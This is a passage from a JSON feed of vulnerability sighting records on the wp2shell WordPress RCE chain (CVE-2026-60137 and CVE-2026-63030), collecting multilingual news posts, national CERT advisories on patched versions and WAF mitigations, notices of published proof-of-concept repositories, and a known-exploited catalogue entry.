\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/true_secator/8423"}, {"timestamp": "2026-07-21T00:00:38.892Z", "date_only": false, "value": "2026-07-21T00:00:38.892025Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94301", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "dfce4d9f-99f9-41dc-aba5-9e85a79ca346", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 31  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 8\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 09:43:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-destructive detector + Docker lab for wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 author__not_in SQLi) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94301"}, {"timestamp": "2026-07-21T00:00:39.234Z", "date_only": false, "value": "2026-07-21T00:00:39.234915Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/information_security_channel/55596", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "257dc239-db17-457d-a93a-5b1594c26f6f", "content": "WP2Shell WordPress Vulnerabilities Exploited in the Wild\nhttps://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/\n\nExploitation of the new WordPress vulnerabilities tracked as CVE-2026-60137 and CVE-2026-63030 started soon after disclosure.\nThe post WP2Shell WordPress Vulnerabilities Exploited in the Wild (https://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/55596"}, {"timestamp": "2026-07-21T00:00:39.667Z", "date_only": false, "value": "2026-07-21T00:00:39.667278Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94276", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d4451e10-a5d8-4e7e-8e2c-e6906fbd9b0c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Crypto-Cat\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 08:26:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94276"}, {"timestamp": "2026-07-21T00:00:39.867Z", "date_only": false, "value": "2026-07-21T00:00:39.867846Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94260", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0a662cbc-557d-43ec-b828-89d5c0a26193", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjessie21\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 06:44:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core Unauthenticated RCE (CVE-2026-63030, CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94260"}, {"timestamp": "2026-07-21T00:00:40.312Z", "date_only": false, "value": "2026-07-21T00:00:40.312234Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94159", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3d5e3a68-3e86-45c2-9fcb-7b17473979c2", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a N45HT\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 14:57:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n[CVE-2026-63030/CVE-2026-60137] Pre Authentication RCE in WordPress Core\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94159"}, {"timestamp": "2026-07-21T00:07:53.095Z", "date_only": false, "value": "2026-07-21T00:07:53.095175Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4jcab6g42c", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "087659cf-af19-4f70-8e7d-c5220b506707", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4jcab6g42c"}, {"timestamp": "2026-07-21T00:29:26.286Z", "date_only": false, "value": "2026-07-21T00:29:26.286973Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4kiqgubj2k", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "a4f99c79-9129-4d10-bced-0b9c8e6216d3", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4kiqgubj2k"}, {"timestamp": "2026-07-21T01:00:54.646Z", "date_only": false, "value": "2026-07-21T01:00:54.646161Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d80ac399-5bdb-4906-95d0-84762e84cb64", "content": "20. Juli 2026\n\nBeschreibung\n\nIn WordPress existieren zwei Sicherheitslücken. Eine SQL-Injection-Schwachstelle im Parameter „author__not_in“ von „WP_Query“ betrifft WordPress ab Version 6.8. Ab WordPress 6.9 lässt sich diese laut Advisory in Kombination mit einer Schwachstelle in der REST-API (Batch-Route-Confusion) zur Ausführung von beliebigem Code (Remote Code Execution) ausnutzen. Laut Searchlight Cyber ist diese Angriffskette ohne vorherige Authentifizierung und ohne weitere Voraussetzungen in einer Standardinstallation ohne Plugins nutzbar.\n\nAuf GitHub sind mittlerweile mehrere öffentlich verfügbare Proof-of-Concept-Exploits für CVE-2026-63030 veröffentlicht worden. Damit ist der Aufwand für eine Ausnutzung deutlich reduziert; CERT.at rechnet mit Angriffen auf ungepatchte Systeme.\n\nCVE-Nummer(n): CVE-2026-60137, CVE-2026-63030\n\nCVSS Base Score: N/A (Einstufung im GitHub Security Advisory: CVE-2026-60137 „Moderate“, CVE-2026-63030 „Critical“)\n\nAuswirkungen\n\nIn Kombination mit der Schwachstelle in der REST-API ist ab WordPress 6.9 die Ausführung von beliebigem Code auf dem betroffenen System, und damit eine vollständige Kompromittierung der Webseite und des darunterliegenden Systems möglich.\n\nBetroffene Systeme\n\nCVE-2026-60137 (SQL Injection):\n\n\n\nWordPress 6.8.0 bis 6.8.5\n\nWordPress 6.9.0 bis 6.9.4\n\nWordPress 7.0.0 bis 7.0.1\n\n\nCVE-2026-63030 (REST-API Batch-Route-Confusion, RCE):\n\n\n\nWordPress 6.9.0 bis 6.9.4\n\nWordPress 7.0.0 bis 7.0.1\n\nWordPress 7.1 Beta 1\n\n\nWordPress-Versionen vor 6.8 sind nicht betroffen.\n\nAbhilfe\n\nWordPress hat korrigierte Versionen veröffentlicht:\n\n\n\nWordPress 7.0.2 (behebt beide Schwachstellen)\n\nWordPress 6.9.5 (behebt beide Schwachstellen)\n\nWordPress 6.8.6 (behebt CVE-2026-60137)\n\nWordPress 7.1 Beta 2 (behebt beide Schwachstellen)\n\n\nCERT.at empfiehlt, die Aktualisierung umgehend einzuspielen. Das WordPress.org-Team hat für betroffene Versionen erzwungene Updates über das Auto-Update-System aktiviert.\n\nSofern ein Update nicht unmittelbar möglich ist, nennt Searchlight Cyber folgende temporäre Maßnahmen: Deaktivierung der REST-API für nicht authentifizierte Benutzer:innen, Blockieren des Pfads „/wp-json/batch/v1“ sowie des Query-Parameters „rest_route=/batch/v1“ mittels Web Application Firewall (beide Muster müssen blockiert werden), oder Einsatz eines Plugins, das Batch-Requests an die REST-API nur für authentifizierte Benutzer:innen zulässt. Diese Maßnahmen können den regulären Betrieb der Webseite beeinträchtigen und sind nur als temporäre Notmaßnahme bis zum Update vorgesehen.\n\nHinweis\n\nGenerell empfiehlt CERT.at, sämtliche Software aktuell zu halten und dabei insbesondere auf automatische Updates zu setzen. Regelmäßige Neustarts stellen sicher, dass diese auch zeitnah aktiviert werden.\n\n\n\nInformationsquelle(n):\n\nWordPress 7.0.2 Release (Englisch)https://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n\nFacilitated SQL injection vulnerability in the author__not_in parameter of WP_Query (Englisch)https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf\n\nREST API batch-route confusion and SQL injection issue leading to Remote Code Execution (Englisch)https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q\n\nwp2shell: Pre Authentication RCE in WordPress Core (Englisch)https://wp2shell.com/\n\nNew wp2shell WordPress Core Flaw Lets Unauthenticated Attackers Run Code (Englisch)https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar"}, {"timestamp": "2026-07-21T01:00:55.166Z", "date_only": false, "value": "2026-07-21T01:00:55.166777Z", "kind": "sighting", "label": "Seen", "source": "https://www.darkreading.com/cyberattacks-data-breaches/wp2shell-millions-wordpress-sites-remote-takeover", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "00ab81ed-dfc6-4f37-8d61-3dfec8634972", "content": "Barely three days after disclosure, attackers are widely chaining together CVE-2026-60137 and CVE-2026-63030 to lob exploit attempts against one of the largest attack surfaces on the Internet.", "url": "https://www.darkreading.com/cyberattacks-data-breaches/wp2shell-millions-wordpress-sites-remote-takeover"}, {"timestamp": "2026-07-21T01:50:16.091Z", "date_only": false, "value": "2026-07-21T01:50:16.091475Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mr4ozc5zwe2w", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a62cafb9-548e-440b-95f7-424afbe29d77", "content": "wp2shell, a WordPress Core RCE chain (CVE-2026-63030, CVE-2026-60137), is exploited in the wild. Public PoC code is out. Patch WordPress now.\n\n#wp2shell #WordPress #RCE #CVE202663030 #CVE202660137 #InfoSec #WebSecurity #PatchNow", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mr4ozc5zwe2w"}, {"timestamp": "2026-07-21T04:04:08.368Z", "date_only": false, "value": "2026-07-21T04:04:08.368323Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mr4wiof4u42s", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d3800860-d3f3-44aa-bdb5-84602671dc62", "content": "~Akamai~\nUnauthenticated SQLi via WordPress REST Batch API escalates to full RCE on default installations.\n-\nIOCs: CVE-2026-63030, CVE-2026-60137\n-\n#CVE202663030 #RCE #ThreatIntel #WordPress", "url": "https://bsky.app/profile/cyfar.ca/post/3mr4wiof4u42s"}, {"timestamp": "2026-07-21T04:50:54.911Z", "date_only": false, "value": "2026-07-21T04:50:54.911359Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mr4z4d3u232r", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5e6fa3cc-1ffd-44f3-bcf9-da1bed25f0bb", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 65 interactions\nCVE-2026-60137: 51 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63030: 35 interactions\nCVE-2026-60137: 28 interactions\nCVE-2026-42533: 10 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mr4z4d3u232r"}, {"timestamp": "2026-07-21T06:25:43.930Z", "date_only": false, "value": "2026-07-21T06:25:43.930126Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mr56futihw2z", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "80e38933-1654-47eb-b728-2544ba8e3593", "content": "\ud83e\udd16 CVE-2026-60137 + CVE-2026-63030 (WP2Shell): Two critical WordPress core flaws actively exploited. SQLi + REST API confusion enables unauthenticated RCE on millions of sites. PoC public. Patch now.\nhttps://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mr56futihw2z"}, {"timestamp": "2026-07-21T10:00:53.875Z", "date_only": false, "value": "2026-07-21T10:00:53.875716Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2026/07/wordpress-wp2shell-exploitation-grows.html", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "22f43846-a1c0-4234-b53b-858573237c6f", "content": "Attackers have begun to exploit two critical vulnerabilities in WordPress that, when combined together, enable unauthenticated remote code execution (RCE) and complete compromise of vulnerable websites.\n\nThe two security flaws, tracked as CVE-2026-63030 and CVE-2026-60137, have been codenamed wp2shell.\n\n\"By the early hours of Saturday morning (UTC), successful exploitation was already well", "url": "https://thehackernews.com/2026/07/wordpress-wp2shell-exploitation-grows.html"}, {"timestamp": "2026-07-21T11:14:18.821Z", "date_only": false, "value": "2026-07-21T11:14:18.821295Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mr5ojuv4iq2o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5c94d8b1-5d1b-4190-b6c8-25826b153722", "content": "WordPress\u306b2\u3064\u306e\u8106\u5f31\u6027(CVE-2026-63030, CVE-2026-60137)\u304c\u767a\u898b\u3055\u308c\u3001\u672a\u8a8d\u8a3c\u306eRCE\u3068\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306e\u5b8c\u5168\u306a\u4e57\u3063\u53d6\u308a\u304c\u53ef\u80fd\u3002wp2shell\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u3002", "url": "https://bsky.app/profile/postac001.bsky.social/post/3mr5ojuv4iq2o"}, {"timestamp": "2026-07-21T12:15:05.780Z", "date_only": false, "value": "2026-07-21T12:15:05.780392Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.si/si-cert-2026-04", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3f88feff-e656-4b70-b2b4-140f43e3c3cf", "url": "https://www.cert.si/si-cert-2026-04"}, {"timestamp": "2026-07-21T12:45:02.893Z", "date_only": false, "value": "2026-07-21T12:45:02.893597Z", "kind": "sighting", "label": "Seen", "source": "https://www.ncsc.nl/alerts/ernstige-kwetsbaarheden-in-wordpress-core-installeer-updates", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "899085ad-483b-4a06-8b54-b37cf35f5618", "url": "https://www.ncsc.nl/alerts/ernstige-kwetsbaarheden-in-wordpress-core-installeer-updates"}, {"timestamp": "2026-07-21T14:50:05.661Z", "date_only": false, "value": "2026-07-21T14:50:05.661794Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mr62lqlj422w", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "30c3f2e5-8c85-4e4e-a67d-d2508abf2f63", "content": "\ud83d\uded1 CVE-2026-60137\nWordPress Core\nCVSS 5.9 / EPSS 4% / KEV: No\nTL;DR: WordPress 6.8.x before 6.8.6, 6.9.x before 6.9.5, and 7.0.x before 7.0.2 does not properly s\u2026\nhttps://cvesentinel.com/report/CVE-2026-60137?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "url": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mr62lqlj422w"}, {"timestamp": "2026-07-21T15:00:01Z", "date_only": false, "value": "2026-07-21T15:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2026-60137", "field": "timestamps.recorded_at", "uuid": "b3cb9cb7-62cf-4de4-b912-478080bf470a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T15:00:01.661Z", "date_only": false, "value": "2026-07-21T15:00:01.661613Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b3cb9cb7-62cf-4de4-b912-478080bf470a", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a33f2c6a-cf21-4cbc-8a88-2f4ec5241660", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b3cb9cb7-62cf-4de4-b912-478080bf470a"}, {"timestamp": "2026-07-21T16:07:11.391Z", "date_only": false, "value": "2026-07-21T16:07:11.391738Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mr66vm42l224", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "049d0e39-a0a4-4df4-a017-05fe72d39431", "content": 